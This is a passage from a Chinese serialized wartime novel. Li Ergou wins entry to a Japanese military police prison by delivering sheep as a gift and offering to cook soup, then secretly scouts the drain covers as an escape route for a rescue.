日本鬼子夜间巡逻有个不成文的规定,很少到偏僻黑暗的地方。 等他们的脚步声彻底走远,李二狗才抬手示意道:“大家动作轻一点,跟我走。” 众人再次悄然现身,跟随着他继续在街巷里穿行,路上又遇到几处岗哨和巡逻队,都没有发生一点意外。 第714章 不眠之夜 不多时,一行人终于顺利抵达了李二狗在江东县城置办的一处四合院。 这处院子位置较为偏僻,不在县城繁华闹市,独门独院,平日里空置无人,极为隐蔽,是他早年间留的后手,专门用来临时藏身的地方。 大家鱼贯而入,李二狗示意孙连胜留下一个兄弟,把院门在外边上锁,然后再通过翻越侧面的院墙进入院内,以此来彻底隔绝与外面的联系。 “所有人,集合!” 孙连胜一声令下,所有人自动在院子里排成两队,等候李二狗的进一步指示。 李二狗看向整齐的队伍,对他们此刻表现出来的过硬军事素质非常的满意,这是一支能打胜仗的队伍。 他面带微笑地说道:“大家都放松放松,心里不要老是紧绷着,今晚没有任务,大家就在这个院子里安心睡觉,我提前备好了一些吃食,大家饿了自行去厨房取用。所有人记住一条,任何人不许踏出这个院子半步,一定要隐蔽好,等待我的命令。” 孙连胜当即表态道:“狗哥,你就放心吧,我亲自盯着他们,绝对不让任何人外出走动,保证不会出半点纰漏。” 李二狗抬手拍了拍他的肩膀,眼神里带着一丝鼓励。 “好,那就让兄弟们各自找房间休整吧,养足精神,明天我们一起干大事。” 众人应声散开,各自去寻找房间休息,二十多个人在偌大的院子里井然有序地离开,竟无一人喧哗打闹。 人群都散去之后,院子里只剩下李二狗和孙连胜两人。 孙连胜心里一直压着满肚子的疑惑,他已经憋了许久,现在终于忍不住开口问道:“狗哥,我们到底是什么任务啊?” 对于孙连胜,李二狗是绝对信任的。 此人忠诚、稳重、执行力特别强,是一个值得托付的人,不然李二狗当初也不会挑中他担任集团特别行动队队长。 但李二狗做事向来留有后手,凡事不会把话说死、把路走绝。 他心里其实制定了两套救人方案,一套把握性更大一些,但会带来较大的牺牲,另一套更加冒险,但会避免人员的牺牲。 具体采用哪一套,必须等他明天亲自去宪兵队大牢周边实地勘察之后,才能最终确定。 在计划未确定之前,他不能随便交底,避免后续因为任务安排出现变动而造成人心浮动。 他看着孙连胜,缓缓开口道:“连胜,这事先不着急。明天我还要亲自去宪兵队大牢周边实地勘察勘察,进一步摸清情况之后再做决定,具体任务要等明天下午行动之前再做统一安排。你现在唯一要做的就是带领兄弟们养足精神,明天我要的是一群出笼的猛虎。” “放心吧,狗哥,保证没有问题。” 孙连胜心里纵然充满了好奇和疑惑,却没有再多问半句。 他早已习惯了李二狗的这种行事风格,知道他是一个走一步看三步的人,他的每一步布局都自有深意,从不胡乱安排,更不会贸然行事。 夜色深沉,黑得压人。 江东县城的夜风穿过空荡荡的胡同,卷起地上细碎的尘土,悄无声息地掠过小院的土墙。 李二狗一个人静静地伫立在院子当间,周遭安安静静的,连虫鸣都听得清清楚楚。 他没有动,周身看着松弛,心里的弦却绷得死死的,一点一滴地复盘着这几天暗中筹谋的所有布局,半点细节都不敢放过。 明天的现场勘察,是整个计划的关键,容不得半分差错。 他心里清楚,这次勘察直接决定着整个劫狱计划的成败。 一步错,步步错,但凡明天出现一点小纰漏,不光这些天的所有准备全部白费,被关押在宪兵队大牢里的宋小曼,再也没有半点脱身的机会,就连这群跟随他出生入死的兄弟,也会有性命之忧。 先前得到的那张日军宪兵队大牢的地形图,还是早些年留下来的,年头实在是太久了。 日本人占领之后,指不定早就对其改动过。 若是只在大牢外围走马观花地看上一圈,隔着高墙铁门,里面有些变动根本看不到。 牢房的通道有没有改建?下水管道有没有封堵?这些藏在大牢里面的一些细微变动,光靠在外边侦察,根本查不出来。 可偏偏就是这些不起眼的小细节,最是要命。 劫狱救人,从来都是细节决定成败。 外头的计划制定的再周密,只要大牢内部有一处变动没搞清楚,行动当天,就可能因为这一点小疏漏,让整套看似周密的布局全部崩盘。 所以,必须进去! 一定要亲自进到宪兵队大牢的内部,实打实地勘察一遍,把每一条通道、每一处哨位、每一间牢房的位置,都重新核对清楚,把所有不确定的隐患全部排除,心里才能踏实。 念头落到这里,难题也跟着堵在了心口。 可怎么进去呢?实在是太难了! 李二狗眉头紧皱,脑子里快速盘算着所有可行的方法。 如今的江东日军宪兵队大牢,把守得如同铁桶一般,里里外外的守备人员,几乎全是日本宪兵。 日本人向来多疑,把控大牢守备极其严苛,寻常中国人别说进到内部,就算是靠近大牢,都会被岗哨厉声呵斥驱赶,盘问搜查。 寻常百姓,甚至伪政府的官员都没有踏入大牢内部的资格。 明闯行不通,暗潜更是难如登天。 夜里大牢高墙通电、岗哨密布、探照灯来回扫动,连只麻雀都难飞进去,更别说一个大活人潜入内部侦察。 可行的办法,一时间竟半点都想不出来。 夜风又吹了过来,带着深秋的凉意,扫在李二狗身上,他却浑然不觉。 他就这么站立在院子里,一遍又一遍地推演、推翻、再琢磨,脑子里飞快筛选着自己所有人脉、所有门路,天亮前,他必须想出一个能光明正大进入大牢,同时又不会引起日本人怀疑的办法。 这一夜,注定无眠。 第715章 家里就我一个人 院里的月光从东墙挪到西墙,天色从浓黑熬成微青,远处的天际慢慢泛起一层淡淡的鱼肚白。整整一夜,李二狗没有合眼,他全程凝神思索,不敢有半分懈怠。 普通人遇上这般死局,早就慌了神、乱了分寸,可李二狗不是普通人,他从头到尾神色沉稳,哪怕所有的路都堵死了,他也始终在冷静地寻找破局的机会。 天刚蒙蒙亮,街巷里的摊贩才刚刚起身收拾摊子,县城还没彻底热闹起来,李二狗心里已经敲定了唯一可行的一个计策。 成功与否,在此一举! 他收拾妥当,换了一身体面的长衫,随后迈步出了院门,径直往江东县城最大的牛羊市场走去。 清晨的牛羊市场已经有了一些烟火气,牲口的叫声、摊贩的吆喝声混在一起,乱糟糟的。 李二狗目光快速地扫过整条街市,很快锁定了一家牛羊肉铺子。 铺子老板是一个精瘦的中年汉子,常年守着市场做买卖,眼尖心细,最会看人识人。 李二狗走到铺子跟前站定,开门见山地问道:“老板,一次性宰杀十只羊,需要多长时间?” 中年老板闻言,立马抬眼打量起眼前的这个人。 眼前的这个年轻人生得周正,穿着干净得体的长衫,布料考究,身形挺拔,说话沉稳从容,没有寻常老百姓的拘谨局促。 再看他气度沉稳,不像是随口打趣的闲人。 老板在这个市场混了十几年,看人最准,一眼就断定,这是一个不差钱的主。 寻常人家买羊肉,都是论斤买,逢年过节才会买个一只半只,可这个人一开口就要一次性杀十只羊,绝非普通百姓,必然是大户人家办事,绝对的大主顾。 这般大生意送上门,老板脸上瞬间堆起满脸的笑,他态度殷勤得很,连忙开口回话道:“先生,您要是着急用,没问题!我多喊两个帮工搭把手,只要凑齐人手,一个时辰之内保证全部宰杀处理干净,绝不耽误您的事!” 李二狗没有多余的废话,直接问道:“多少钱?” 他问得干脆利落,没有半点拖泥带水,完全没有寻常顾客讨价还价的架势。 老板反倒愣了一下,没料到他问得如此直接,自己倒一时间有点猝不及防。 他心里快速盘算起来,平日里宰杀一只羊不过一块大洋不到,十只羊正常价格十块大洋就足够。 眼前这人看着有钱,又急着办事,定然不会斤斤计较。 做生意本就是看人下菜碟,遇上大方的主顾,能多赚一点是一点。 老板心一横,刻意往上抬了价,报出一个高价,同时做好了李二狗还价的心理准备。 “先生,您要的多,我就给您便宜一点,一共二十块大洋!” 这多出来的十块大洋,纯粹是他临时加价,想着多赚些利润。 李二狗心里门清,知道对方的报价肯定含有不少水分,作为地主大院的管家,一只羊多少钱他心里大体有数。 可他此刻满心都是勘察大牢、筹备救人的大事,一刻也不能耽误,压根没心思跟小贩掰扯几块大洋的差价。 二十块大洋,对旁人或许是一笔不小的数目,对他而言,根本不值一提,连九牛一毛都算不上。 比起整个计划的成败,这点大洋根本不算什么。 他神色不变,直接从贴身的衣袋里掏出二十块沉甸甸的大洋,递到老板手里,语气客气地说道:“一个时辰之后,我过来取货,务必处理干净,另外给我准备一些煮羊汤的佐料。” 说完这话,不等老板应声,他转身就走,脚步干脆利落。 手里攥着沉甸甸的大洋,看着李二狗从容离去的背影,牛羊铺老板瞬间悔得肠子都青了。 他本是试探着抬价,原以为对方多少会还两句价,没想到人家眼皮都没眨一下,掏钱干脆利落。 老板心里暗暗懊恼,早知道这么爽快,当初就该再多报几块大洋,妥妥的冤大头送到眼前,自己居然没把握住,平白少赚了一笔钱。 李二狗压根不在意这点得失,离开牛羊市场之后,他加快脚步,径直往孙竹刚的住处赶去。 这个时辰天刚亮透,街上行人稀少,县政府的人都还没有上班,孙竹刚肯定在家。 他快步走到院门前,抬手“哐哐哐”敲了三下院门。 没过片刻,院子里传来一阵细碎的脚步声,紧接着门从里面拉开一条缝。 二丫披着一身浅蓝色的碎花小棉袄,头发随意挽着,睡眼惺忪地探出头来,带着几分刚睡醒的慵懒,轻声问道:“谁啊?这么大清早的敲门。” “嫂子,是我,二狗。”李二狗的声音温和沉稳且充满磁性。 一听是李二狗的声音,二丫眼里的睡意瞬间散了大半,脸上立马露出笑意,连忙伸手一把拉开房门,热情地往侧边让了让,低声说道:“原来是二狗啊!你怎么这个点就过来了?你大哥现在在家呢。” 李二狗淡淡地笑了笑,心里清楚二丫心里那点小心思。 但他此刻心里装的全是劫狱救人的大事,心弦一直紧绷着,半点儿女私情的念头都没有,他客气地说道:“嫂子,大清早的打扰你们歇息了,我有要紧急事,得找大哥说几句话。” 二丫脸上的笑意微微淡了些,眼底掠过一丝不易察觉的失望。 她本以为李二狗是特意过来找自己的,没想到却是专程找孙竹刚说事的。 即便心里失落,她还是温柔地应道:“没事没事,你大哥还在房里睡着呢,我这就去喊他起来。” “多谢嫂子了。” 李二狗的笑容很温暖明亮,不禁让二丫心里一颤。 她抬眼悄悄瞟了他一眼,眉眼带俏,刻意压低了声音,语气里带着几分亲昵的暗示。 “二狗,你大哥白天大多都在外头忙活,很少在家待着,你要是没事,白天尽管过来,家里就我一个人。” 说完,她的脸蛋瞬间红得像一个红苹果。 第716章 劳军慰问 李二狗此刻满心里都是大牢侦察的布局,脑袋里全是后续的步骤以及潜在的风险,根本没心思接这话,他只能顺着敷衍了一句:“好,嫂子,我有空一定来。” “那嫂子可在家等着你。” 二丫抿嘴笑了笑,眉眼弯弯,这才转身快步走进卧室,去叫醒还在熟睡中的孙竹刚。 没一会儿功夫,穿着睡衣的孙竹刚披着外衣匆匆走了出来,脸上还带着几分刚睡醒的倦意。 他一看见李二狗,便直接开口问道:“二狗,什么急事?大清早跑过来找我。” 李二狗也不绕弯子,知道孙竹刚脑子活络,不用铺垫太多,直接直言道:“大哥,我刚置办了十只肥羊,打算送去慰问皇军。日本人千里迢迢来到咱们中国,忙活大东亚共荣的事情,着实辛苦,咱们本地百姓,理应好好慰劳一番。” 他话说得很平和,语气里却带着藏不住的阴阳意味,根本不是真心慰问。 孙竹刚跟他相交多年,最懂他的心思,一听这话,再看他眼底的深意,瞬间就猜透了他的真实目的。 “我明白了,你是想借着送慰问品的由头,混进日军宪兵队大牢里查看情况是不是?” “嘿嘿,还是大哥懂我。”李二狗神色郑重起来,“咱们手里那张大牢地形图太旧了,搁置了这么久,日本人说不定早就改动了内部格局。外头看着一切照旧,里头指不定早就变了天。马上就要行动了,我必须亲自进去核实一遍,决不能有半点差池。” 如今整个江东县城,日本人常驻的据点只有两处,一处是宪兵队本部,人员混杂。 另一处就是管控最严、守备最森严的宪兵队大牢,里外守备的全是精锐鬼子。 孙竹刚略一思索,当即拍板道:“这事可行,我来帮你疏通。你只管安排人,把这些羊分成两份,分别送到宪兵队本部和大牢门口。” 李二狗思虑周全,为了避免出现岔子,便补充道:“大哥,宪兵队那边要对接龟田一郎,可能还得应付记者,麻烦你亲自过去周旋一下。大牢这边我亲自带人去送。” “行,就按你说的来,咱们分头行动,抓紧时间,别耽误了时辰。”孙竹刚毫不犹豫应了下来。 他心里十分笃定,这件事绝对能成。 龟田一郎身为新任江东日军宪兵队队长,立功心切,又爱摆排场、捞好处,他肯定会答应。 一来,日本人驻守他乡,物资虽充足,但新鲜肥羊算得上难得的好物,送上门的好处,他们断然没有拒绝的道理。 二来,江东本地百姓主动自发地慰问日本人,是绝佳的宣传素材,正好能顺着他们的心意,大肆宣扬所谓的大东亚共荣,粉饰日本人的占领统治,龟田一郎只会满心欢喜地答应。 两人又敲定了一些细节,不再耽搁,一前一后出了门,各自筹备行动。 李二狗快步赶回自己的院子里,进门就找到了孙连胜。 李二狗神色严肃,直接说道:“连胜,立刻把咱们所有的弟兄分成两队,你带一队,我带一队,现在马上出发,直接去江东牛羊肉农贸市场。” 接着,他把购置肥羊、假借慰问皇军、借机混入大牢侦察的全盘计划,原原本本地告知了孙连胜。 孙连胜听完,当场愣住了,愣了半天才反应过来。 他脸上满是不解,问道:“狗哥,你这法子是妙,能悄无声息混进大牢,可混进去又有什么用?日本人根本不会让咱们久留。还有,老百姓不知情,看着咱们给日本鬼子送东西,肯定要在背后戳咱们的脊梁骨,骂咱们是汉奸走狗,帮着日本人做事!这名声,咱们可担不起啊!” 李二狗相信,其他弟兄们心里,定然也都是这般想法,换做谁,都难以理解这种看似通敌的举动。 救人就救人,何苦费这般周折,哪怕是牺牲了,也比被老百姓戳脊梁痛快! 李二狗神色沉稳,目光坚定,他沉声安抚道:“我知道你们心里的顾虑,也知道旁人会怎么骂咱们。但咱们心里应该清楚,咱们这样做是假意逢迎,是为了救人,不是真的投靠日本人当汉奸。” “眼下大局为重,一时的骂名算得了什么?只要能顺利把人救出来,摸清大牢的布局,这点委屈,都根本不值一提。” 说到这里,他语气陡然变得严厉起来,再次强调纪律。 “你现在立刻去集合所有人,一定和他们交代清楚!所有人全部不许携带武器。把羊送到指定地点之后,除了我之外,其余人一律立刻撤离,不许在现场逗留、不许跟鬼子攀谈、不许乱看乱逛,听明白了没有?” 孙连胜见李二狗态度如此坚决,知道他早已思虑周全,绝非是一时冲动,当即压下心里的顾虑,郑重地回答道:“明白!狗哥,我立马去安排,保证不出半点纰漏!” 很快,队员全部集结完毕。 众人脸上或多或少都带着一些疑惑,心里万般不解,想不通为什么要低三下四给侵占家乡的日本人送慰问品,白白落个汉奸的骂名。 但所有人都清楚,李二狗向来谋事缜密,从来不会做无用之功,每一步安排都有深意。 大家平日里素来信服他的决断,纵然满心不解,也没有一人质疑违抗,全部老老实实听从命令。 事情的发展,和孙竹刚提前预料的一模一样。 宪兵队长龟田一郎听了孙竹刚的汇报,听闻江东本地乡民主动置办厚礼,前来慰问皇军,脸上瞬间露出得意的神色。 在他看来,这是本地百姓归顺臣服、认可大东亚共荣政策的最好证明,是绝佳的宣传噱头。他不仅一口答应了慰问事宜,还特意安排了随军记者,打算全程拍摄记录,大肆宣扬此事,用来收拢民心、美化日军的统治形象。 一切筹备妥当,李二狗带着一队弟兄,抬着处理干净的肥羊,浩浩荡荡赶往日军宪兵队大牢门前。 第717章 江东第一羊汤 路上的行人看着一群人抬着羊,不知道他们要干什么,有些无聊的群众竟一路尾随,就想看个热闹。 大家都纷纷低着头,想象着群众怎么骂自己的十八辈祖宗。 当他们临近宪兵队大牢门前时,李二狗故意咳嗽了两声。 “大家都听我口令,都大点声,预备,喊!” 下一秒,所有人都整齐划一,扯开嗓子,高声喊起了提前准备好的口号。 “皇军辛苦了!” “向皇军致敬!” “皇军辛苦了!” “向皇军致敬!” …… 整齐洪亮的口号声,一遍接着一遍,响彻在宪兵队大牢门前,声势十足。 围观的群众彻底怒了! 他们没想到江东竟有这样一群如此厚颜无耻之人。 “数典忘祖的一群败类,呸!” “你们这些人不得好死!” “生孩子没屁眼!” “他们不配有孩子,让他们断子绝孙!” …… 什么话难听,他们就骂什么。 此刻,大家都恨不得找个地缝钻进去! 李二狗看着蔫头耷脑的队员,大声命令道:“把头抬起来,继续喊!” “皇军辛苦了!” “向皇军致敬!” “皇军辛苦了!” “向皇军致敬!” …… 大牢里值守的日本宪兵,早就接到了龟田一郎的提前通知,知道有百姓前来慰问。 此刻他们听着外头整齐热烈的口号,看着一众百姓恭顺的模样,个个脸上都笑开了花,满心里都是优越感,他们笑得嘴角几乎咧到了耳根,心里得意至极。 李二狗神色恭顺,沉稳地指挥着手下的弟兄,抬着肥羊,抬头挺胸地走进了戒备森严的宪兵队大牢内部。 踏入大牢的这一刻,他眼底飞快掠过一丝不易察觉的审视,目光不动声色地快速扫过周遭的岗哨、通道、墙体布局、鬼子站位,将眼前所见的一切,默默记在心里,和脑海里的旧地形图逐一比对。 放下肥羊,李二狗顺势从衣兜里摸出一包备好的香烟,抽出两支,满脸笑意地递上前,对着值守的小队长龟隼子客气地说道:“皇军辛苦了,抽支烟歇一歇吧。” 宪兵队大牢的小队长龟隼子,看着眼前这个恭顺懂事的中国人,又看着新鲜肥嫩的山羊,心里十分受用。 他乐呵呵接过香烟,满脸得意,用生硬的中国话夸赞道:“你地,良心大大的好,大大的好!哈哈!” 李二狗顺着他的心意,继续放低姿态,句句都顺着他的喜好说道:“皇军远道而来,守护江东地方安宁,实在是辛苦。这些羊都是我们本地山上散养的山羊,肉质鲜嫩,没有半点膻味,熬出来的羊肉汤最是滋补养身,一口喝下去浑身舒坦,滋味大大的好。” 龟隼子听得满心欢喜,连连点头道:“吆西!羊肉汤,大大的好喝!” 李二狗见状,语气愈发殷勤,他趁热打铁,抛出了自己早已想好的说辞。 “皇军怕是不知道,我祖辈都是做羊肉汤的手艺,在江东县城,我熬的羊汤没人能比,旁人送我外号‘江东第一羊汤’”。今天我连秘制调料都一并带来了,皇军要是不嫌弃,我索性留下来,亲手给各位皇军熬上一大锅,中午正好能喝上热乎鲜美的羊汤,犒劳犒劳各位辛苦值守的皇军。” 这番话说得无比真诚,既给足了日本人面子,又显得特别真心实意。 龟隼子闻言大喜,笑得合不拢嘴,连连夸赞道:“吆西!你地,大大的懂事,良心大大的好!哈哈!” 他抬眼扫了一圈跟着抬羊进来的一众百姓,随即摆了摆手,用命令的口吻说道:“你地,可以留下来熬羊汤!他们地,通通出去,不许在此逗留!” 一切尽在李二狗的预料之中。 他连忙点头哈腰地说道:“应该的,应该的!就我一个人留下来熬汤就行,其他人这就走,绝不打扰各位皇军!” “吆西,大大的好!哈哈。”龟隼子不仅满意,还十分得意。 手下弟兄们按照提前交代的规矩,不敢多言,也不敢四处张望,把五只肥羊搬进大牢的后厨摆放妥当之后,随后便有条不紊地退出了宪兵队大牢。 喧闹的人群散去之后,偌大的后厨里,只剩下李二狗一个人。 终于,他成功留在了守备森严、外人绝对无法踏入半步的宪兵队大牢内部。 周遭都是来回巡逻的日本宪兵,脚步声、说话声时不时传来,危机四伏,只要露出半点破绽,便是万劫不复。 可李二狗半点慌乱都没有,脸上依旧挂着温顺的笑意,显得从容不迫。 他熟练地拿起墙边备好的围裙,系在腰间,伸手拎起案板上沉甸甸的大砍刀。 刀刃落在羊肉上,哐当、哐当的声响此起彼伏,清脆响亮。 一刀一刀稳稳剁下去,他的动作熟练利落,根本看不出半点生疏,活脱脱一副常年干后厨活计的老手模样。 李二狗这身熬汤剁肉的熟练手艺,根本不是刻意所为,而是小时候穷日子里逼出来的本事。 早年间他家里家境贫寒,日子过得紧巴,经常吃不饱饭。 村里但凡有婚丧嫁娶、摆席设宴的大事,都会请厨子忙活。 为了能蹭一口热乎的肉汤、剩菜,年少的李二狗,常常主动跑去帮后厨厨子打下手、烧火、剁肉,不求工钱,只求一口吃食。 村里的老厨子最擅长的就是熬正宗羊肉汤,手艺独到。 李二狗脑子灵光,打杂的日子里,默默看、悄悄学,久而久之,便把剁肉、熬汤的全套流程学了个通透,哪怕只学了一点皮毛,应付寻常场面已然绰绰有余。 如今这般熟练的动作,刚好用来糊弄这群自大轻敌的日本鬼子,实在是再合适不过了。 上好的山羊肉肉质细嫩,被他一块块均匀剁好,整齐地码放在硕大的铁锅旁。 只需要添水下锅、加料慢炖,用不了多久,浓郁的羊肉香气就会铺满整个后厨。 外头的日本鬼子只想着早些喝到鲜美的羊肉汤,全然没有察觉,这个看似温顺老实、埋头剁肉熬汤的普通百姓,正借着熬汤的掩护,不动声色地观察着大牢里的通道走向、周边岗哨的换岗规律。 第718章 李二狗是一个好演员 李二狗把切好的羊肉全部一股脑地倒进滚烫的铁锅里,柴火在灶膛里噼啪烧着,火苗舔着锅底,锅里的清水转瞬间就翻起一层细碎的白色泡沫,带着一股淡淡的膻腥气味慢慢地在厨房里飘散开来。 锅里煮着汤,可李二狗的心思却根本不在熬汤上,他向厨房外面瞅了瞅,发现此刻并没有人盯着这里。 他又往灶里添了一些柴火,然后站起身来,抬手随意拂了拂袖口上沾染的柴火灰,悄无声儿地快步走出了厨房。 这处鬼子宪兵队大牢的院子并不大,四面都是高高的围墙,墙头上架着高压铁丝网,中间建有一处木质的岗楼,上面不仅有站岗的日本鬼子,还有一个大大的探照灯。 明晃晃的日头底下,随处都能看见在院子里穿梭巡逻的日本宪兵。 他们皮鞋踩在青石板的地面上,发出一阵硬邦邦的哒哒声响,每一下都像是敲打在人的心尖上。 李二狗低着头,眉头微微皱着,一只手捂着自己的肚子,身子微微佝偻着,看上去是一副腹痛难忍的模样,在院子里慢悠悠地来回转着圈,像是在寻找什么。 他这副腹痛的样子装得极像,额头上竟憋出一层细细的汗珠,脚步还有些虚浮,时不时还会轻轻地蹙一下身子,看着就是肚子疼得忍受不住的样子。 其实他捂着肚子的眼底,半点难受的神色都没有,反倒目光飞快地扫过院子里的每一处角落。 他脑子飞速地转动着,把周围的布局一丝不落地全都记在心里。 之前孙竹刚得到的情报里只说了大牢内部的大体布局和日本鬼子的防守兵力,可有些最关键的地方必须实地侦察一遍才能放心。 他最满意的一个营救计划是打算通过地下的下水管道摸进宪兵队大牢,可没人确定这里的下水道还能不能用,会不会已经被鬼子封堵,这一步要是出了岔子,根本救不出宋小曼,还可能把兄弟们的性命全部都搭进去。 就在他假装腹痛踱步,暗自打量周围情况的时候,一个生硬粗暴的喝止声猛地从身后响起。 “站住!你地,什么地干活?” 这个声音又凶又冷,带着日本人说中国话时特有的生硬腔调,听得人心里不由得一紧。 李二狗心里瞬间“咯噔”了一下,后背下意识地窜起一层冷汗,可他脑子却很清醒,瞬间便稳住了心神。 他不用转身也知道,是巡逻的鬼子宪兵盯上自己了。 他刻意装作被吓了一跳的样子,身子猛地一颤,转头的瞬间,脸上已堆起一副惶恐又老实的神色。 他的手一直捂着肚子,说话时还带着结结巴巴的慌张劲儿,一看就是一个胆小怕事的老百姓。 “太君,我……我肚子疼得厉害,实在是憋不住了,想找个地方上厕所,您能告诉我厕所在什么地方吗?我找了半天都没找到。” 他话说得断断续续,语气里满是窘迫,眼神又怯生生的,根本不敢往日本鬼子的脸上看,那一副手足无措的样子,完全看不出一丁点破绽。 李二狗的确是一个好演员! 拦住他的是一个年轻的日本鬼子,虽然年轻,但他的脸上还是带着一股子日本人特有的骄横傲气,那是平日里在这片土地上作威作福惯了的结果。 他上下打量了李二狗一番,看着他满头虚汗、弯腰捂肚的模样,不像是作假,紧绷的神色才慢慢松了些。 “哎吆,哎吆,我快憋不住了!要拉到裤子里了。” 李二狗一边说一边夸张地捂着肚子,蹲在地上直不起腰来。 日本鬼子看着李二狗的这副模样,突然哈哈大笑起来,带着一种居高临下的嘲弄,压根没把一个厨子放在眼里。 笑罢,他才伸手指着院子西北角的方向,粗声粗气地呵斥道:“厕所在那边!你地,不要乱跑,好好地去,听见没有?要是敢乱跑乱看,死啦死啦的有!” “是是是!太君,我知道,我知道。”李二狗连忙点头哈腰,脸上挂满了恭顺,语气也是唯唯诺诺,“我绝对不会乱跑,上完厕所立马回厨房给皇军熬汤!” 说完这话,他依旧保持着捂着肚子的难受模样,慢慢地朝着鬼子指的厕所方向挪过去。 只是,他低垂的眼皮底下,那双眼睛半点没有安分,一边装作难受的样子往前走,一边飞快地扫视整个院子。 目光扫过各个不起眼的角落,盯着地面上那些可能是下水道的位置,心里不停地盘算着。 他心里清楚,这是他唯一能查看院子布局、寻找下水道入口的机会。 一旦回到厨房,再想出来打探消息,就难如登天了。 才几步路的功夫,他就走到了那个简易厕所门前。 这个厕所是临时搭建的土坯房,简陋得很,四面漏风,味道刺鼻,寻常人根本不愿多待。 李二狗快步侧身钻了进去,进门的第一时间,他就立马收了脸上难受的神色,直起大半个身子,快速地巡视厕所一圈,目光瞬间便锁定在了厕所最角落的一个位置。 一眼看过去,他的心瞬间沉入了湖底。 厕所最里侧的墙角,地面上铺着一块圆形的铁制下水道井盖,看上去十分厚实。 最要命的是,井盖上居然有一把沉甸甸的大铜锁,锁身锃亮,锁扣死死地卡着井盖的铁环,封得严严实实。 李二狗心里暗暗吃惊不已。 真是没想到,这帮日本人居然谨慎到了这种地步。 厕所下水道的井盖,平日里根本没人会留意的地方,他们居然都特意上了锁,真是半点漏洞都不肯留。 他站在原地,脑子飞快地思索着。 连厕所这种偏僻不起眼的下水道,日本鬼子都在井盖上专门装了锁锁住,那不用多想,整个大牢院子里所有的下水道的井盖,必然全部都被他们一一上锁封死了,绝对不会有例外。 这个发现实在是太关键了,简直是救命的情报。 第719章 夹道风波 若是李二狗今天没有进入大牢内部进行侦察,夜里劫狱的弟兄们定然会按照原计划,从下水道潜入大牢。 等到了跟前才发现所有的井盖都被锁死了,根本进不来,如果在日本鬼子的眼皮子底下闹出点动静来,到那时候,整个劫狱计划就彻底暴露了。 不仅救不出宋小曼,可能还会连累所有的弟兄丢掉性命。 可以说,刚才这短短几分钟的侦察,直接避免了一场全军覆没的大祸。 李二狗定了定神,快步走到井盖跟前,他蹲下身,凑近仔细打量着那把大铜锁。 锁是老式的加厚铜锁,看上去很结实,可在李二狗眼里根本不算什么难事。 他小时候练武的时候,跟着老师傅学过不少旁门左道的本事,开这种普通的铜锁,不过是举手之劳,根本不用花费半点力气。 可他心里清楚,眼下绝对不能轻易动手。 厕所是一个人来人往的地方,日本鬼子随时可能会进来拉屎撒尿,这会儿要是贸然开锁,之后一旦被人撞见,劫狱计划就彻底暴露了。 风险太大,万万赌不得。 没办法,他只能暂时按捺住心思,蹲在茅坑上,耐着性子,试图琢磨出一个稳妥的法子。 他就这么保持着蹲坑的姿势,一动不动地耗着。 一分钟、两分钟、五分钟……时间一点点地流逝,厕所里又闷又臭,空气浑浊憋人。 蹲得时间太久,他的双腿渐渐发麻,酸胀痛麻的感觉顺着腿往上窜,最后麻得几乎站不起来,可他依旧没有起身。 他不敢出去,出去就没有了侦察的机会,只能耗在这里,脑子不停地转动,翻来覆去琢磨着可行的办法。 一直蹲到双腿彻底麻木,半点知觉都快没有了,他也没想出一个打开井盖的稳妥办法。 正在这时,一个日本鬼子走了进来,他进来之前,李二狗竟没有听到一点动静。 日本鬼子上下打量着李二狗,认得他是在厨房熬制羊汤的那个中国人。 李二狗装作用力地样子,脸憋得通红,日本鬼子这次放松了警惕。 日本鬼子撒了一泡尿,出门之前,对李二狗说道:“你地,快快地,我们等着喝。” “好的,好的,太君,我马上就好了。” 李二狗知道再这样耗下去只会徒增风险,没有半点用处。 他缓缓地吐了一口气,压下心里的焦灼,慢慢站起身来,双腿一阵发软发麻,他顺势晃了两下,整理了一下衣裤,快步走出了厕所。 刚踏出厕所门口,他的目光随意一扫,瞬间有了新的发现。 厕所院墙的侧边,紧挨着一堵围墙,那里竟藏着一处狭窄的夹道。 夹道不宽,只能容一个人通过,两边被墙体挡得严实,位置十分隐蔽,从院子主干道上根本看不见里面的情形,极少有人会注意到这个死角。 李二狗心里一动,也许好机会来了。 他反应极快,立马装作走路不稳的样子,脚下一缓,顺势弯腰低头,做出要蹲下来系鞋带的模样。 弯腰的瞬间,他的眼神飞快转动着,以极快的速度,扫视了一圈四周。 左边,巡逻的鬼子刚转过屋角,走远了。 右边,厨房方向安安静静,也没有人。 近处的一个岗哨士兵直挺挺站着,目光盯着院子正中,压根没留意墙角的死角。 四下里安安静静,没有任何异常,更没有人注意到他。 李二狗不敢耽搁,借着弯腰的瞬间,身子一矮,动作轻盈而又迅捷,整个人一闪,悄无声息地钻进了那处狭窄的院墙夹道里。 这处夹道常年无人打理,乱糟糟地堆着不少废弃的旧木头,还有一些杂草碎砖,乱七八糟地堆砌在一起。 李二狗压低脚步,踩着满地杂物,快步往夹道深处走去。 夹道不长,几步就走到了尽头。 当他看清尽头地面上的东西时,一股狂喜瞬间涌上心头,浑身的血液都沸腾起来。 夹道最深处的地面上,赫然也铺着一块一模一样的下水道井盖! 和厕所里的款式、大小分毫不差,同样的厚重铁盖,同样扣着一把厚重的大铜锁,死死地锁着井口。 李二狗按捺不住内心的激动,双手都微微有些发颤。 真是天助我也! 他心里暗暗庆幸,幸亏自己多留了个心眼,没有直接放弃,这才发现了这处隐蔽的夹道。 这处夹道偏僻无人,平日里根本不会有鬼子过来巡查,更不会有人停留,简直是最完美的潜入突破口。 厕所因为人多眼杂,井盖上的铜锁不能动,可这里的井盖,完全可以预先把铜锁打开,做好伪装,留作夜里劫狱的进出通道! 稳住心神之后,李二狗立刻抬手,从贴身的衣兜里摸出一截细细的铁丝。 这根铁丝是他出门前特意备好的,光滑笔直,就是为了防备今日这种突发情况。 他蹲下身,动作十分熟练,捏着铁丝伸进锁孔里,手腕轻轻地转动了一下。 不过两三秒的功夫,只听“咔哒”一声轻响,厚重的大铜锁应声弹开,轻轻松松就被他摘了下来。 全程没有半点多余的动静,绝不会引来外人注意。 打开锁之后,李二狗心思缜密,他知道井口不能就这么空着,太惹眼了,万一有哪个闲逛的鬼子偶然过来,一眼就能看出不对劲。 他转头看了一眼旁边堆放的杂物,随手捡起一截粗细长短刚好的木头,轻轻地盖在下水道井盖的正上方,严严实实地挡住了井盖上的锁孔,从外面根本看不出异样,伪装得毫无破绽。 做完这一切之后,他心里稍稍松了一口气,想着再确认一遍伪装有没有问题,就起身悄悄退回厨房。 可就在他刚准备直起身子的瞬间,一个冰冷坚硬的枪口,突然顶在了他的后背上! 